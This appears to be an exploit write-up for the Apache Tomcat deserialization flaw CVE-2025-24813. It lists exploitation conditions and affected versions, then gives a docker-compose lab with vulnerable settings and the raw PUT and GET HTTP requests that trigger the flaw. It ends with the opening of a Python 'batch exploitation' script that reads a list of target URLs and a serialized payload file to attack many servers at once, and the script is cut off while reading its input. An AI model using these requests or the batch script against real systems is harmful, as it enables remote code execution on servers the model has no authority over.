CVE-2025-24813

Exploitation Conditions

• DefaultServlet Write Function Enabled: Must configure readonly=false in web.xml
• Partial PUT Request Support: Tomcat supports chunked upload by default
• File Session Persistence Enabled: Must configure PersistentManager and FileStore in context.xml
• Deserialization Exploit Chain Exists: The classpath must contain a vulnerable library

Affected Versions

• 9.0.0.M1 <= Apache Tomcat <= 9.0.98
• 10.1.0-M1 <= Apache Tomcat <= 10.1.34
• 11.0.0-M1 <= Apache Tomcat <= 11.0.2

Exploitation Difficulty

• Complex
• Strict

Environment Setup

Download the vulnerable version

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/

Manual Configuration

1. In conf/web.xml, set DefaultServlet's readonly to false to enable write functionality

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

2. In conf/context.xml, enable File session storage

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813  # specify container name
    volumes:
      # mount and replace web.xml
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # mount and replace context.xml
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      # Add JAR file to lib directory
      # 
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"

Start Environment

docker-compose up -d

Exploit Chains

cck1

cc10

PUT /pocss/session HTTP/1.1
Host: 192.168.223.132:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

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GET / HTTP/1.1
Host: 192.168.223.132:8080
Cookie: JSESSIONID=.pocss

Batch Exploitation EXP

import base64
import requests
import sys
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def main():
    # Get file path arguments
    url_file = sys.argv[1] if len(sys.argv) > 1 else 'url.txt'
    payload_file = sys.argv[2] if len(sys.argv) > 2 else 'payload.ser'

    # Read target URL list
    try:
        with open(url_file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
            
        # URL format validation
        valid_urls = []
        for url in urls:
            if not url.startswith(('http://', 'https://')):
                print(f"Warning: {url} is not a valid URL (missing protocol), skipped")
                continue
            if not url.split('//')[1]:
                print(f"Warning: {url} is not a valid URL (missing hostname), skipped")
                continue
            valid_urls.append(url)
            
        if not valid_urls:
            print("No valid URLs to test")
            return
            
    except FileNotFoundError:
        print(f"[+] {url_file} file not found")
        return